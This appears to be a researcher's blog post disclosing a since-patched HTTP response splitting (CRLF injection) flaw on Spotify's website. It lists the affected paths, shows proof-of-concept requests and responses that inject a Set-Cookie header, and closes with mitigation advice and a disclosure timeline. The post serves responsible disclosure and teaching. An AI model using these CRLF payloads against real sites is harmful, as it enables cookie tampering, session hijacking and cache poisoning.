In this article, I would like to explain a vulnerability (now fixed) discovered last month on the Spotify website.

WHAT IS SPOTIFY?

Extracted from Wikipedia:

“Spotify is a commercial music streaming service providing Digital Rights Management-protected content from record labels including Sony, EMI, Warner Music Group and Universal. Launched in October 2008 by Swedish startup Spotify AB, the service had approximately 10 million users as of 15 September 2010, about 2.5 million of whom were paying users. Total users reached 20 million by December 2012, five million of whom pay a monthly subscription fee that varies based on locale.”

DESCRIPTION OF THE ATTACK

The HTTP Response splitting attack (sometimes also referred to as CRLF Injection) is a fairly simple, but extremely powerful web attack. HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values.

The attack consists of making the server print a carriage return (CR, ASCII 0x0D) and a line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. If an attacker can inject newline characters into the header, then he can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application’s response.

By exploting the CRLF Injection flaw in an HTTP response, attackers can modify application data compromising integrity and enabling the exploitation of the following vulnerabilities:

  • Cross Site Scripting vulnerabilities
  • Proxy and web server cache poisoning
  • Web site defacement
  • Hijacking the client’s session
  • Client web browser poisoning

Let’s take a look how the Spotify application was vulnerable to this kind of attack.

SCOPE

The Spotify resources where I was able to reproduce this vulnerability were:

  • /get-spotify/go/pay/response.php
  • /es/xhr/html/fb-login.php
  • /es/xhr/json/tracking.php
  • /get-spotify/go/pay/ajaxfbsub.php
  • /es/get-spotify/go/fail/unlimited

PROOF OF CONCEPT

In the following request, the payload were %0d%0aPAYLOAD%0d%0a (PAYLOAD).

Request:

GET /es/get-spotify/go/pay/response.php/%0d%0aPAYLOAD%0d%0a HTTP/1.1
Host: www.spotify.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Response:

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 13 Jul 2013 10:54:27 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 378
Connection: close
Location: https://www.spotify.com/es/get-spotify/go/pay/response.php/
PAYLOAD
/: 
Vary: Accept-Encoding

You’ll quickly notice that the payload (“PAYLOAD”) has been injected in the HTTP headers. This hence means that this content is controlled by the attacker and he can set it to absolutely anything he wants. It is precisely this property that an attacker targets using HTTP Response Splitting.

As an example, let’s examine how this injection could cause damages by looking at one example of a Cookie injection by modifying an existing cookie.

In this case, my payload was %0d%0aSet-Cookie%3a%20spotify%3dpwned%3b%20Path%3D%2f%3b%0d%0a (Set-Cookie: spotify=pwned; Path=/;).

Request:

GET /es/get-spotify/go/pay/response.php/%0d%0aSet-Cookie%3a%20spotify%3dpwned%3b%20Path%3D%2f%3b%0d%0a HTTP/1.1
Host: www.spotify.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Response:

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 13 Jul 2013 10:54:27 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 378
Connection: close
Location: https://www.spotify.com/es/get-spotify/go/pay/response.php/
Set-Cookie: spotify=pwned; Path=/;
/: 
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="https://www.spotify.com/get-spotify/go/pay/response.php/">here</a>.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at www.spotify.com Port 80</address>
</body></html>

As you can see in last request-response and in the following screenshot, I successfully modified an existing cookie of Spotify.

MITIGATION

To avoid such HTTP Splitting vulnerabilities a good practice could be to use white list to parse all user input (excluding CR LF \r\n %0%0a). Using this approach it’s possible to define an accepted set of characters for the application, mitigating any kind of injection, including unknown techniques.

DISCLOSURE TIMELINE

  • July 13th, 2013: Initial report with proof of concept sent to security@spotify.com.
  • July 15th, 2013: Response from Spotify confirming reception.
  • July 24th, 2013: Response from Spotify Security Team, fix has been rolled out. Ask for confirmation that issue has been resolved.
  • July 24th, 2013: Reply to Spotify confirming fix.

REFERENCES

MORE INFORMATION

The vulnerability mentioned here has been confirmed patched by the Spotify Security Team. I want to thank them for their great response and for including me in their Hall of Fame.

Check out their Security Page for more info about how to report a security vulnerability to them.



Tags


blog comments powered by Disqus